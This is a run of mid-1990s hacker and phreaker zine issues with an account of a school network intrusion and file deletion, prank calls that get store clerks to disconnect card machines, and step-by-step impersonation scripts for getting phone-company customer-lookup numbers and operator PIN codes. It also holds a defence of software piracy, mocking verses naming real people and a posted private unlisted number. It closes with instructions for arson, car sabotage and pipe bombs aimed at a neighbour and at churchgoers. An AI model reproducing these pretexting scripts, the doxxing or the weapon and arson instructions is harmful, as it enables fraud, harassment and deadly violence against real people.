You should have backed up chatter's files if you do not wish to lose them.

Are you sure that you want to remove chatter's files (y/n)?  y

Deleting /u/students/chatter

.oOo.

Then I kill all his processes and change the root password. Again, situation averted. 10 minutes later he unmounts the drives. The next morning he tells the computer lab who did it ("Acidflux, Bluesman and Deadlocke [aka Silicon [)ragon]"... like I said, I made a few accounts  while I was on) and that we hacked in to use thier link to the Lawerence Livermore Labs (local nuclear facility... anyone read The Cuckoo's Egg?).  On top of that Bluesman logged in from a New York system so Anirvan starts talking like MOD was after his ass (This was in the California Bay Area BTW). That afternoon Anirvan gets a call from a Monte Vista freshman named

Brett Nelson posing as _me_. He says "This is Acidflux, you will recieve a call at 9pm tonight" along w/ some veiled threats and whatnot. They recognized his voice and kicked him out of school (I think this story has a moral in it somewhere). A couple months later the system is back up and I find this article on Anirvan's Webpage (http://192.188.37.4/~anirvan):

"Beyond Wargames"

by Anirvan Chatterjee (`95)

Net historians record the sudden increase in destructive net activities after the release of Wargames (the seminal cracker-as-hero movie, the tale of an antisocial nerdy 80s teen equipped with a modem who stumbles onto the secrets of a corrupt military establishment (see also, Sneakers)). Those were the days when cracker and darkside hackers were truly dangerous only to government and corporate America.

Well, think again. While corporate network security has increased severalfold since then, the massive growth rate of the Internet won't be able to extend the same degree of protection to newcomers unable to obtain the best protection money can buy. I speak from experience, having gone through two such cases recently, both very close to home.

Everybody probably knows about the cracker intrusion into Monte Vista's computer network. (You don't? The Reader's Digest Condensed Book editionI was online at Monte Vista from home on a Friday night when I saw someone else, a friend of mine, logged in too. I tried to "talk" to her online, but she didn't respond. So I was doing some routine system maintenance, when I saw a strange call to talk from someone logged in as the system operator--but I was the system operator. Oh well, I ignored it, until my friend finally agreed to talk to me.

She seemed rather confused, didn't understand who I was. I tried asking her what she was planning to do this weekend. Suddenly,  she burst into a rant along the lines of "I am elite! I broke into your system! Hahaha!" By this time, I'd realized that "she" was somebody who had broken in under that account, and broken into the system operator's account. We did some online jousting, (by now I had Charlie Hsu, speaking voice, advising me on the fax line) until I managed to remotely shut down the Monte Vista network, but only to find that he'd deleted my account, my email, my projects, my web page--everything. Talk about playing the martyr for my system. (Yes,  yes, the proper authorities have been contacted, and they're working hard, trying to catch the evildoers.) Anyway, there's my story. Now you can laugh at it.)

But after all that, who to blame? The cracker, certainly, but also the cluelessness of the newbie system administrators (including yours truly) who just didn't know enough to implement current and effective security measures. That, and insecure usage habits on the part of so many equally clueless users ignoring even the most simple warnings about password security (a computer network is only as strong as its weakest password). As long as the Internet keeps expanding at such furious rates and the age, maturity, education, training, and all-around cluefulness of the average user keeps declining, this will keep growing as an issue.

Net.access is getting easier and easier to obtain, and security measures from many established, otherwise clueful net.folks are being correspondingly toned down to fit the minimal effort/maximum personal gain philosophy of many coming online for the first time (the same type of people who will break every point of net.courtesy to get information, rather than checking documentation, FAQs (Frequently Asked (and Answered) Question lists), or contacting their local system administrator). (For example, Microsoft Bob's password protection will automatically let you change it if you guess incorrectly three times in a row--even a four-year-old could get past that kind of protection!)

I found out very recently that my Internet carrier's security could be easily compromised, not online, but through what crackers call "social engineering"--by breaking in through their customer support. January 31, someone posing as the cracker who broke into Monte Vista called my house and left me a voice message instructing me to wait for a call at 9:00 p.m. if I wanted to recover my password. I tried dialing into my account, and found my password to be invalid--someone had changed it!

Of course, I didn't believe that the caller was who he claimed to be for a second--he had pronounced my name correctly. Nobody ever pronounces my name correctly after having only seen the spelling, so I knew it had to be someone who knew me. And who had something against me. I listened to the message again (the idiot had done me a huge favor by leaving a long snippet of his voice digitally recorded for me to listen to again and again) when I realized who it was--an annoying Monte Vistan I'd busted and kicked off the Monte Vista network a few months ago, for some truly unsavory activities he'd gotten into, all the system rules he'd violated. I contacted my Internet carrier's support staff, and hooked up with a rather clueful administrator, who traced the breakin. I was informed that someone calling in from the local dial-in node had accessed my account (when I had been hours away from the nearest modem), and deleted all the files in it. Damn! Damn!  Damn!

As we retraced the cracker's steps, we found that the [please substitute a handful of your favorite explicit pejoratives here] had unsuccessfully tried to access my account at 11:00 a.m. (why wasn't he at school during 4th period? note network knowledge has little correlation with common sense, intelligence, or academic achievement),  then spoke to someone on the support staff between then and 1:00 p.m., convincing them that he was me. Then the "helpful" support staff changed my password for "me," as soon as the intruder was able to pronounce my name correctly, and give them my phone number and address. Once he had BS'ed his way past their safeguards, he then asked them to change "his" password for him, as he had "forgotten" it.

Devious little [choose your own again], eh? Then a little before 1:00 p.m., and again at 1:40, p.m. he logged in under my account, with the new (now changed) password. He went through all my files. Then he deleted everything: my saved mail, my notes, my projects, my backups.

And as if that wasn't enough, he then proceeded to browse through through my email. By this time in the conversation with the tech admin, I was seething. Luckily for me, the guy was able to restore most of my files and mail from system backups made the Friday before.

So I didn't lose too much, but that's beside the point. I felt so violated. Nobody should be able to go through my email and files,  reading and deleting at will, invading my privacy; there's a world of difference between system operators doing routine checks, and intruders breaking in as part of some sick revenge fantasy. So I registered several "secure" codewords with the support staff (my mother's maiden name, etc.) that they would have to get from anyone calling for support under my name. And that was that.

Yes, yes, the cracker, a (now "former"?) Monte Vista student, has been caught and arrested, for his numerous ugly computer-related crimes  (physical theft of computer equipment is a rather silly idea if you want to stay on the good side of the law), and I have the oddest feeling I may have seen the last of him. But it's not the [yet another pejorative here] himself I'm so concerned about, as much as the trend he's running on. Online interaction has become so easy and widespread that it seems as if anybody with something against you could take action against you. And the more business that we conduct online, the more dangerous it is (I've purchased several items directly on the Internet over the course of the last year, using unencrypted credit card numbers--dangerous, I know.) From mailbombings and anonymous flames, canceled postings, forged mail or postings, to outright electronic intrusion, almost anything is possible.

Take Kevin Mitnick, the recently captured master cracker who infiltrated sites in the hundreds, from the accounting records of Netcom (the nation's largest Internet Service Provider, and very possibly the least-liked (for its anarchic administration and dumbed-down service)) to the Well,  arguably the coolest and most respected Service Provider in America,  the home of the Net's "cultural elite" (synonymous with its technical elite). News reports say his breakins weren't "personal." God help anybody who pissed him off. Interestingly enough, at least three movies about the Internet are now filming. One of these is The Net,  about someone who's very identity is tampered with when police, credit, and other identity records are all altered. As technically improbable as the plot is, the concept is definitely sound (recall the case of the vengeful phone phreaker who rerouted his parole officer's home phone to a (900) sex number). This stuff doesn't just happen to other people. Let the netizen beware. Tough times lie ahead.

An aside: Don't let this article scare you into not getting online. Accessing the Internet is a fabulous experience, and not akin to war as my words might lead you to believe; it just requires some common sense. As long as you have your wits about you, and aren't afraid to turn to manuals or your friendly neighborhood system administrator for help, you'll be OK. Interested in getting online? Do ask me, or someone else with online experience for help. I love helping people, but I'd much rather be able to help someone before s/he actuallycommits her time and money to problematic, expensive commercial networks.

.oOo.

Then I find this followup letter:

Dear Geek-meister:

Enjoyed your latest issue. A couple of philosophical and technical notes you may wish to ponder:

(1) Re: Anirvan's tome on Internet security, There's a consistent assumption that the crackers he describes in the article are male. How did the author know? Did "he" write about hunting giraffes? Use locker room humor (actually, I've heard enough qualifying material from females during stints at MV to dispel any such assumption)? How many readers just read along and assumed, along with the author, that the "perp" wears pants (oops), make that Jockeys (nope) boxers? (yikes), buttons left over right (okay, I think).

My purpose here is not to pick on AC--indeed, I think his energy, intellectual curiosity and considerable erudition in publishing Paradox are really laudable. I just think we should all ferret out, consider and overcome creeping sexism wherever we find it.

.oOo.

Sorry if this has been more self-glorifying than informative but after  seeing Anirvan's side of the story I had to type this up. I'm going to go have a coke and a smile so I'm ending the story here. Watch out for that creeping sexism.

-Acidflux

[Enclosed is a GIF of Anirvan that Acidflux uploaded to me so you all can see what the poor victim looked like. For those of you who haven't, read the Delirium Mags! Available at the PLA Texas Line. -RedBoxChiliPepper]

Contact The Phone Losers Of America Nearest You!

Voice:

512-370-4680 PLA Voicemail System

Data:

618-797-2339 PLA BBS Illinois Line

512-883-7543 PLA BBS Texas Line

512-851-8317 Sonic Youth Systems

U.S. Mailing Address:

Phone Losers Of America

P.O. Box 3642

Corpus Christi, TX 78463

FTP Site: FTP.FC.NET - directory pub\deadkat\incoming\PLA (Thanks to Disorder & Deadkat!)

Issue #032

Completed On June 21, 1995

Introduction - RedBoxChiliPepper:

Dammit,  call the  DefCon Voice Bridge!  It's purdy neat sometimes but really dead since  the toll free phone  number  went down. Give it a call so you can go  crazy  tonin'  in our ears. 801-855-3326. Free!

Not a whole lot has happened since the last issue, not that anything ever really does. This issue, like the others, will be small, meaningless and as usual, a total waste of hard drive space. I was going to list all of the Customer Name & Location numbers in the United States in this issue but my eighty hour work week prevented me from getting anything done so instead I wrote some simple instructions to show you how to get the damned numbers yourself. Besides, in the middle of playing with the CN/Ls I discovered FACS (otherwise known as NOC, I think) and that's a hell of a lot more interesting anyways. I typed out a few news articles from the local paper that I thought were interesting, no fake news this time, sorry. I once again proved how stupid Circle K employees are (to the DefCon Voice Bridge audience) by convincing one of the night shift employees about a virus in their credit card system. Unfortunately I didn't tape it, so here's a brief, edited transcript from what I can remember:

LR: Circle K, this is Larry.

ME: Hi, this is John from Visa, did you get our fax concerning the virus?

LR: Uhhhh, no we don't have a fax machine here.

ME: Hmmmmmm, that's probably why you didn't get the fax. Well, did your manager tell you what to do about the virus?

LR: (Meanwhile he's yelling at some kids and telling them that they're not allowed in the store...) I'm sorry about that, typical night at Circle K!  No, I don't know what you're talking about.

ME: Okay, let me explain. There's a major virus going through the Visa/Master card network and you need to disconnect your credit card machine before the virus gets to you. So far it hasn't got to Corpus Christi but you need to unhook your machine before it gets to you.

(After a bit more convincing...)

LR: Okay, so you want me to unhook the credit card machine from the phone?

ME: Yes, you have to unhook the phone lines, serial cable and power cable from the POS. And you have to take the machine and set it far away from the phone lines just to make sure because the virus is airborn. (I had watched the movie "Outbreak" the day before...)

It ended up with him finally disconnecting the machine and setting it on the opposite counter next to the sink, away from the phone lines. The next morning we called his manager and asked, "You don't base your hiring decisions on their intelligence, eh?" And ended up getting hung up on. If you'd like to say, "hi" to Larry the Night Man, he works at the Circle K on Staples in Corpus C, TX.

I also convinced an AM/PM to flip a certain switch on his Arcomatic (tm) that shut off his only register during a rush of customers until his manager could come to the store and reset the computer. You may be asking yourself, "What exactly are you trying to accomplish, RedBoxChiliPepper?" Well, if you figure out an answer to that question, please e-mail me with an answer ASAP.

Be sure to shoplift the July 1995 Super Special of MAD Magazine at a news stand near you. Besides the collector O.J. Simpson pog stickers they have, there's a movie spoof of War Games called "Warped Games." Not the best movie spoof they've ever done but hey, it's War Games, dammit. Professor Falken wears a pair of fake glasses/nose/mustauch for his "new identity" and the pheds wear jackets that have "I've got my FBI on you!" printed on the backs.

In a few weeks I'm going to be releasing a file called PLA95SUM.ZIP which is going to be a large telephone directory containing pay phones, voice mails, phone company newslines, data lines, businesses, phone company access numbers and other interesting numbers to call. It started out from PLA007.TXT but I took out the disconnected and changed numbers and added in a lot of new numbers. Still, it's lacking in size and I need a LOT of new numbers to put in there. This fone directory is going to be edited and updated quarterly so please send me your obscure numbers for me to publish and I'll try and get 'em in the first release. Now, I bring you Lokust...

RiGHT BRiGADE - by Lokust (May 18, 1995):

This text file has one purpose: To educate the populace on some of today's fallacies of the software "piracy" situation.

In today's world, there is increasing security on computer networks, servers, and systems in general, but in specific, on computer software.  Talk to a  computer teacher and most likely they will tell you about the "evils of software piracy."  You, being a dealer / end user of warez, aka "pirated" software, are meant to be guilty about the distribution and use of unauthorized copies of this software.  This however, is not valid.

I consider myself a reasonably moral person, as well as a Christian. But this does not stop me from "pirating" software.  That is because it is not "piracy".  This is a term created by the federal government in the early 1980's as a way to spread negative propaganda.

Laws and the enforcement of laws against software "piracy" began in 1983, with the "Computer Act of 1983".  Unfortunately however, this bill made a common mistake made by the government and our law makers- they made it illegal too late.  It is a fair comparison to compare the C.A. of 1983 with the prohibition of alcoholic beverages in the 1920's.  Software "piracy" had already become the norm in the U.S. and around the world.  But in an effort to look worldly-minded and sophisticated, the nation's law makers decided this bill could make them popular.  This did not happen.  I don't know who wrote the bill, but I heard they lost their next election.

But there is another problem with the legislation passed in the US in the early 80's and the bills passed later in the respective 50 states.  They assume that the copying of software causes damage to the software owner.  They assumed that software owners cared about the monetary value of software.  But end users rarely re-sell software, and we all know that the value of software is what we think about it.  If I like a game, such as Interplay's Descent, and I have an illegal copy, but I think its worth the $50, I would, (if I had the $$) go buy it to support the authors.  This does not happen in my case because I am very poor ( I had to steal my 486 fer Christ's sake, but that's a yarn for RB-002!).  However I don't believe it is fair to pay $50 for some game, and found out its worth the disks it was sold on!  This is an unreasonable  obligation of the end user.  If you were going to buy a car, you'd take it for a test drive first, right?!  The same with software.  I think if you are going to get a game, you should try it out before you have to dish out your (or your parents') hard earned money!

But's there another side.  What of the person, such as myself, who has a limited income and can't afford to buy to support games' authors? Simple. This person is to be supported by couriers and groups.  It is unfair to deny a person enjoyment of his/her computer just because he/she is poor.  That is why software "piracy" should be renamed.  We are not pirates. This is software "liberation".  And we are software liberators.  Everyone at some point, the government included, has pirated some software.  The laws are so rigid, its impossible not to.  The cost required to maintain the FBI are enormous- and a fair amount of this comes from the costs of the investigation and prosecution of the computer crimes division.  The government is wasting our hard-earned tax dollars on prosecuting software liberators.

But why the fragmented system of warez groups, couriers, etc. that now swarm the U.S.?  The seemingly strange system of groups that exist justt produce software to the public is exceedingly simple if you view it from the angle of politics.  A Communist system to warez might be to unite all the groups under one, which might work, but the internal strife would be terrible, and complacency and lack of competition would make the quality decline.  An Anarchist system to warez would have each BBS, and each person personally producing their own warez.  This would mean tons of competition, but no organization.  Warez would be localized.  Therefore, our Capitalist system to warez is necessary.  The high competition of the groups produces the best warez in the world, and the structure provides organization to make the warez universal.

Had to get this stuph off my mind.  But a little bout me and my strange ideas.  I'm 16, I go to a Catholic high school, although I'm an Episcopalian.  I consider myself a phone phreak, a robber, and a software liberator.  I am a staunch Republican who supports the congress on all issues except these electronic act bills.  I am in several warez groups and I know the feeling you get when you buy something that just wasn't worth it.  Anywayz, So I started the RiGHT BRiGADE as a means of voicing my opinions of important topics such as this.  I run a board, but because of rising security, I don't give out the #.

I can be reached at magneto@ixc.ixc.net, gc@cdsbbs.com, or on Wombat Communications 512.883.7543. On the iRC, look for me under the name of Lokust or Locust.  I am with ADR and SFD. Thanx for listening!

LOKi aka Lokust

[AC:512, Texas]

Customer Name & Address - by RBCP:

I recently started playing around a little with the CN/A numbers and compiled an extremely small list of them.

CN/A Listing For Phone Company Use:

214-744-9500 These two seem to cover the entire Southwestern Bell territory.

214-745-7505 They're fully automated, give as many numbers per call as you want and require a six digit pin number. Only open 9-5, though.

612-663-1765 U.S. West. Covers western United States

217-789-8290 Ameritech. Covers Illinois, Ohio, Indiana and Wisconsin.

I was kind of surprised at all the changes that have been made to CN/A since I last played with them. They no longer give the address, just the number. And if the number is unlisted, forget it. They won't give it to you. You have to have your "supervisor" call in with his/her code and get the unlisted numbers. In MY day... well anyway, I also found that in a few states they have "public access" CN/A numbers where anyone can call in and get the name off of a number. These work sort of like a 976 or 900 number where the person using it gets billed. (Unless they know a way around that, of course...)

In all the other CN/A files I've ever come accross I've yet to see one that shows you how to get the number yourself in case the one listed were to go dead so if any of these numbers that I've listed go out of service or you'd just like to get some CN/A numbers yourself for fun, here's how I go about doing it...

Call up any telephone company billing office. I usually go for U.S.West (1-800-244-1111) because they seem to be well staffed and you don't have to wait forever to talk to an operator. But any billing office should work. It's probably easiest to call the one for the area you want a CN/A number on. Once you get the operator, the conversation goes something like this:

OP: "U.S.West, may I help you?"

ME: "Hi, could I have the CN/A number for that area?"

OP: "The what??"

ME: "The Customer Name & Address for the 602 (or whatever) area..."

OP: "Oh! Could I ask who's calling?"

ME: "This is Bill with Southwestern Bell in Dallas."

OP: "Well, if you work for Southwestern Bell, it should be in your handbook."

ME: "Yes, I have the number in my handbook along with my pin code but the number seems to have been disconnected."

OP: "Okay, let me see here..."

Now that's a worst-case senerio. Usually, they'll just give it to you after you tell them that you work for Bell. Most of the time they don't even know what a CN/A (or CN/L) is and you have to explain to them that they need to look in their handbook. If they refuse to give it to you, say "Thank You", hang up and call back. I've only been denied a few times.

Also, you can ask them for a CN/A out of their area. They have a whole list of them in their manual. (The most common use for them is to find out who owns numbers that myteriously appear on a calling card victim's bill.)

Getting A Code:

Usually, most CN/As will be totally useless unless you have a valid code to give the CN/A lady. Codes are a little harder to get. It seems that for some reason the operators have all been warned never to give out their code to anyone. (I can't imagine why, though...) Any phone company office should have a code so you can call any of them. Easiest would probably be the billing offices. I noticed that they're rather gullible up in the North & South Dakota areas. So since I'm not going to publish the codes, of course, here's how to get them yourself. Call the billing office and...

Conversation #1:

OP: "Billing Operator, dis is Kay, may I help you?"

ME: "Kay! Give me your password!"

OP: "Alright, it's U39017-4810"

ME: "Thank you!" (hang up)

Unfortunately, it's not always that easy. This method hasn't worked for me yet so here's another way:

Conversation #2:

OP: "Billing Operator, how may I spank you?"

ME: "CN/A, this is Larry. Can I help you?"

OP: "This is the billing operator."

ME: "Well, this is CN/A. Did you need something?"

OP: "No, you called here, my phone rang."

ME: "You didn't call the CN/A office?"

OP: "No...this is the billing office in Arizona."

ME: "Well, this is the CN/A office in Minnesota. Do you have a pin code?"

OP: "What do you need that for? I didn't call you."

ME: "Well, we need a valid pin for each call made to here and I need to report this problem to matenience." (babble on...)

OP: "Oh, okay...well, it's xxxxxxx."

ME: "Okay, thank you. I'll report the problem. Sorry about the trouble and have a good day..."

Far fetched as it may seem, that's how I've gotten all of my pin codes. The operators are instructed not to give out their pin code to anyone but the CN/A operators so they seem to think it's okay even though you called them.

A B C's (A Parody of Dr. Seuss's A B C's) - by Colleen Card:

Big A little a, what begins with a?

Andy, while in Austin, does an Alliance while he plays.

Big B little b, what begins with B?

Bloodaxe, backdoors, blast box, and blue beep.

Big C little c, what begins with c?

Captain Crunch cracking COSMOS     C...c...C!

Big D little d, what begins with D?

Draper drums out data on a digital dirictory.

Big E little e, what begins with e?

Engressio eats electronics    e e E.

A, B, C, D, E, F...f

Fiber Optics fetters in a fluffy vest.

Big G little g    G...G...g.

Gibota, Grey Areas, G.T.E.!

Big H little h. Hacking in the hay!

I went to Ho-HoCon! Hooray! Hooray!

Big I little i   i...i...i.

The internet is intresting to the F.B.I.

Big J little j, what begins with J?

Jim Bayliss in Jell-O begins that way.

Big K little k, what begins with k?

Kevin stealing kr3dit k4rd$. Kat, ketchup, kay.

Big L little l, Liar, leapor, leach.

Sylvia's got lung cancer and lives in Lawrence with Pete.

Big M little m, what begins with m?

Mitnick isn't mobile on an M.C.I. sin.

Big N little n, NnN!

Neirdorf's on that network, where when it drops you hear a pin.

O is very useful, you use it when you say,

"An operator's in an office rubbing oil in an obscene way!"

ABCDEFGHIJKLMNOP! Phreaking phrom a phone booth. Passwords from

Pacific Bell. PBXing to a partyline and reading Phrack phrom jail.

Big Q little q, what begins with that?

The quick, queer, Quincy on his Q-modem in Tibet.

Big R little r, Robins rubbing Roy.

Random route ringing on a Radio Shack toy.

Big S little s, Sprint, Southwestern Bell.

Scanning signals at SummerCon 'til I got busted by Ma Bell.

T....T....t....t....

Ten teleconferences at telcoboxes by the trees.

Big U little u, U! U! U!

Unix, urine box, U.S. West underwear on my boobs!

Big V little v, voicemail, verify.

Virtual video with the volume too high.

W.W.W. Whombat, wire, WATS,

Willy wiped his woo woo on a pair of lambchops.

X is very stupid cause it rhymes with nothing else,

If you don't bathe regularly I'm sure that you will smell.

Big Y little y, yelling in my ear,

You have a very crappy phone so Go, GET OUT OF HERE!

A B C D E F G H I J K L M N O P Q R S T U

V W X... Y... and...

Big Z little z, what begins with Z?

A zillion zip codez in a zone, my Zeos and me!

Ode To Deter:

The following poem was written by Martini of 618. Most of it won't make any sense unless you personally know the gimp it's about, Deter. (You might remember him from the GIF descriptions in PLA030.TXT.) Anyways, to clue you in, Deter is a dork who used Chris Tomkinson's M.C.I. calling card (supplied by Zak) from his house a few times and when Chris called him demanding to know why his number was on his bill, Deter spilled his guts. This was written on May 25, 1995 (probably while illegal substances were churning away at her brain...) Thanks, Martini!

Calling card, calling card,

used from my house,

My name is Deter,

and I look like a mouse.

I say I'm a prep,

but I know I'm a nerd.

My name is Deter,

and I talk like a bird.

Chris Tomkinson called me

he scared me too.

My name is Deter,

and I cried boo-hoo.

What do I do?

What do I say?

Is this Chris guy,

really gay?

I got the number,

from Roy Gerbil Zak

My name is Deter,

and that is that.

What happened to my board,

how'd I get call waiting?

My name is Deter,

me and Mitten's are mating.

What do I do now?

They all hate me.

My name is Deter,

rape me, Chris, rape me!

Why is this fire,

being thrown by Martini,

My name is Deter,

and I'm a big weenie.

What do I do?

No one's on my side.

My name is Deter,

and I need to hide.

---Phone Losers Of America Headline News---

Pricey Pay Phones - FCC to caller: Educate self:

WASHINGTON - Between appointments, Mary Viar dashed to a pay phone in Hagerstown, MD to wish her daughter in Pittsburgh a happy birthday. A week later she got the bill: $21.39 for her 22-minute call. For the same amount she could have called Paris and talked for half an hour.

"I was shocked," recalled Viar, who had never heard of Polar Communications, the company that carried the call. "But I went ahead and paid because I figured it would go against my credit." But because she felt "ripped off," Viar filed a complaint with the Federal Communications Commission.

In the last year, the FCC has received 4,280 complaints about pay phones and hotel phones. The complaints have been increasing, and the majority involve claims of excessive charges.

"They are the No. 2 source of complaints from consumers," said Kathleen Wallman, the commission's top telephone regulator. The No. 1 complaint is "slamming," the unauthorized switching of people's long-distance companies.

The commission is lookin for ways to toughen rules to protect consumers against price gouging, said Wallman, chief of the FCC's Common Carrier Bureau. Behind each pay phone in the country is a company responsible for the service, from carrying calls to providing operator assistance.

Hundreds of companies are in this business - including the nation's three big long distance carriers, AT&T, MCI and Sprint. The smaller companies servce hundreds of thousands of phones.

The big three, whose rates are comparable and considered low by federal regulators, are not the problem. The problem, says Wallman, is companies such as Bethesda, MD based Oncor Communications, whose rates are three to four times as high as those of the big phone companies.

Oncor has generated 1,000 complaints to the FCC - 800 of which concerned rates. In April the FCC ordered the company to lower its charges. The agency is investigating three other companies about exorbitant rates, said Mary Beth Richards, deputy chief of the FCC's COmmon Carrier Bureau.

People making calls from pay phones or hotel phones are charged the rate offered by the company servicing the phone - even if they have told an operator to bill their local or long-distance calling card. The only way to avoid this is to dial an 800 or 950 access code listed on the back of the calling card before dialing the number. That bypasses the pay phone or hotel phone service provider and connects directly with the usual long-distance carrier. "Consumers need to educate themselves," saud FCC Chairman, Reed Hundt.

The commission is trying to help by distributing fact sheets to consumer groups and making the materials available on the Internet, the global computer network. The FCC estimates 3 billion calls a year are made on pay phones and hotel phones. And it estimates that people could save $280 million a year by avoiding service providers whose rates are higher than those of PLAT&T, MCI and Sprint.

Oncor spokesman Greg Casey did not return calls seeking comment. Polar Communications, based in Manalapan, NJ would not discuss Viar's complaint because it had not seen it. But a Polar official tried to answer a question about why the company's rates are so much higher than those of the big three.

"We're a small carrier. We just can't provide the rates that AT&T, MCI and Sprint do," said Stacey Wilk, Polar's regulatory manager.

Companies such as Polar and Oncor are required to file "informational tariffs" providing a range of long-distance rates and associated charges to the FCC. The FCC does not approve or disapprove the rates, and they go into effect immediately, Richards said.

Similar tariffs are filed to state regulators, who also get complaints. The FCC can take action against companies whose interstate rates are found to be "unjust and unreasonable," Richards said. The FCC can order the rates reduced, order refunds or credits, and impose fines. Since 1991, 26 companies under threat of FCC action voluntarily lowered their rates. The FCC has ordered only one company, Oncor, to reduce its charges.

The agency saus it has helped thousands of people who have filed complaints over the years to obtain refunds. The FCC is considering making companies file specific tariffs, instead of a range of proposed interstate rates; requiring a voice message explaining rates before calls are connected; and capping interstate rates.

The FCC also is taking a closer look at the surcharges some companies tack onto each call, Wallman said. In general, money from these surcharges goes to pay phone owners of the hotel, bar or other establishment where a public phone is located and sometimes to the company itself, which is the case with Oncor, federal regulators said, The FCC said Oncor's surcharges alone have totaled as much as $10 per call.

Sonic Communications shutting down, facing probe over charge of 'slamming':

AUSTIN - An Atlanta-based long distance company embroiled in legal troubles  over an unethical business practice is shutting down and may leave some Texans without service, the Texas Attorney General's Office warned Thursday.

Sonic Communications Inc. has been the source of numerous complaints filed with the Attorney General's Office by customers who say the company changed their long distance service without authorization, a practice known as "slamming" in the industry.

Slamming often leaves consumers paying much higher rates than with their prior carrier, according to the attorney general. Under scrutiny from attorney generals' offices in several states, including Texas, California, Illinois and New York, Sonic filed for bankruptcy in April. Due to allegations of fraud and mismanagement by Sonic, the bankruptcy court appointed a trustee last week to run the company, Attorney General Dan Morales' office said.

The service shutdown, already begun for business users, is proceeding for individual consumers, according to Morales' office.  In Texas, Sonic targeted Hispanic residents in Houston, Dallas, San Antonio, Austin, El Paso and McAllen.

"Since Sonic is known to have switched consumers' long distance service without authorization, we urge consumers, especially those with Hispanic surnames, to check their latest telephone bills to see who is their long distance provider," Morales said.

"If your long distance service is provided by Sonic Communications Inc., you may want to immediately contact a new, reputable long distance service company or your local telephone company to acquire new service," he said.

No one answered phone calls Thursday to Sonic's office in Atlanta. Morales' office saud it is playing a role in Sonic's bankruptcy case and plans to ask for restitution to consumers, civil penalties and $400,000 owed to Texas in state sales taxes.

One Texas lawmaker during the 1995 legislative session tried to get a bill passed to cut back on the practice of slamming. The bill by Sen. Don Henderson, R-Houston, would have required a long distance carrier to have a written letter from a consumer specifically authorizing a change of service. Violating the bill's provisions would have been a felony. The bill, however, died.

"The slammers' lobby was fairly effective this session in making sure that bill died. The penalties may have been exorbitant and that may have helped kill it," said Tom Smith, executive director of the consumer advocacy group Public Citizen.

Contact The Phone Losers Of America Nearest You!

Voice:

512-370-4680 PLA Voicemail System

Data:

618-797-2339 PLA BBS Illinois Line

512-883-7543 PLA BBS Texas Line

512-851-8317 Sonic Youth Systems

U.S. Mailing Address:

Phone Losers Of America

P.O. Box 3642

Corpus Christi, TX 78463

FTP Site: FTP.FC.NET - directory pub\deadkat\incoming\PLA (Thanks to Disorder & Deadkat!)

Issue #033

Completed On July 4, 1995

TABLE OF CONTENTS:

1. Introduction - RBCP

2. Running The Neighborhood - Monster Magnet

3. The Official Phreaker's Manual

4. Classified Ads

5. How To Make A Beige Box

6. Roy, New Mexico Telephone Directory

7. Interviews With Roy Residents

8. Phone Loser Headline News

9. Application to Carry PLA (Ya-hoo!)

If you haven't already,  you should  download the PLA95SUM.ZIP which is the first edition of the Phone Losers Fone Directory.  It's got a lot of phone  numbers in  it that you'll never have any kind of need for!  In this issue you're going to learn how to  run your neighborhood as well as the history of phone phreaking and tips on how to be a real  honest-to-god phone phreak!  I've also included a classified ads section where you can advertise anything you want. If you'd like to place an ad in the PLA classifieds, e-mail me today.

I received a call from the Sprint Billing Office the other day concerning my overdue $300 phone bill. I learned through my expert social engineering techniques that I can't use Monopoly money to pay for a Sprint phone bill but it is alright to use someone else's stolen credit card to pay for it as long as I have the actual name on the card. I told him to accomplish this I would have to go out and mug a yuppie and steal his wallet and his only reply was that "That wouldn't be good." Never once did he tell me not to do it so I was thinking that maybe I could mug a guy and if I get caught I could blame it all on the Sprint operator. I told the guy that if all goes well with the mugging I should have the check in the mail by Friday.

A big hello goes out to the "PLA Troy Division", the little 8th graders in Troy, Illinois who've taken it upon themselves to print out all the PLA issues and sell them to the kids who aren't a part of the amazing information superhighway. Another hell goes out to Moondog, also of Troy who gave me their names and phone numbers. (Thank you!) And last but not least, Mr. Joseph who changed his number, made it unlisted and password protected the account just so we'd leave him alone. His new unlisted & protected number is 618-797-1156. His wife actually started calling and saying, "Ha ha" after they changed it and we couldn't call. Then she said, "What does PLA stand for anyway? Penis Lickers Anonymous?? HAHAHAHAHA!" All this from a thirty year old welfare mom. Sheesh!

Running The Neighborhood - Monster Magnet:

After reading this you will probably think that I am a sick and deranged man who enjoys to be.....anti-social.....at best.  Anyways...I'm going to tell you  how to run your neiborhood.  Yes, yes, yes...I'm sure all of you have seen text files on the basic skills of anarchy, but here's another, so pay attention and sit up straight!

One night, when you have nothing better to do, just grab an old rag that just happens to be soaking in motor oil and walk down your street to the local gossip's house....you know....the one who told your parents about when your girlfriend climbed through your windows and then told them all the things that you and her shouted out in that evening of pleasure.  Take that rag and jam it up the tailpipe of the car.  After a few monthes, she'll either have bad lungs or worse.  While you're there, just grab a couple of the bushes and other plant life that you can rip out of the ground, trees included if you are one of those buff people, and throw them on the roof.  It will make quite an impression on the night before the neighborhood contest for the prettiest lawn and landscaping.

Of course, it would be silly to just stop there...just look around for some nice roadkill, there's always a possum here and there, and stuff it in the mailbox.  If you're really clever, you would have a sticker handy that said 'Special Delivery From Our Oven To Your Home' and have a little picture of Mrs. Baird or something.  Before you leave, make sure you have a nice can of gasoline and pour a big puddle on the porch and make a trail to the side of the house.  Next, go ring the doorbell and run to the side of the house and light the gasoline from there.  When she opens the door she will see a huge trail of flame turning the corner and running up the front walk right for her.

Usually after she slams the door you can here loud cussing followed by intense prayer.  It's a real eye-openner.

In case there is no neighborhood gossip, you don't have a girlfriend to sneak in, or if you're just not one of those religious types, just grab some threaded pipes, some caps for them, some baby food jars, rocks, baking soda, vinegar, gasoline, and of course matches, and head down to your local church. One of the first things to do is to grab a monk outfit and stand by the cross. It's good to have little contact explosives with you.  I don't quite remember the recipe, but it involves a cookie sheet, petroleum jelly, black powder, and one or two other things but they are really cool to toss around.

Hopefully this church has statues of Jesus, his mom and dad, and those three wise guys that you can stand with so you don't look too out of place.  As little kids or old ladies walk by toss one of those contact explosives at their feet.  Make sure it's a small piece because a good sized one will knock out a brick wall.  After everyone is inside, grab a threaded pipe and put some rocks in it.  Next fill the baby food jar with vinegar, then fill the pipe with baking soda, but not too much.  Then put the caps on the pipe REAL tight.  Do this a couple of times to get a good supply.  Next, pour gasoline on the cross and light it.  Scream about how Alla will forgive their evil ways and toss the pipes into the parking lot.  Inside the pipe, the baby food jars should break and the baking soda and vinegar will mix, bubble heavily, and the pipe should explode sending pieces of metal, rocks, glass, and liquid in all directions.

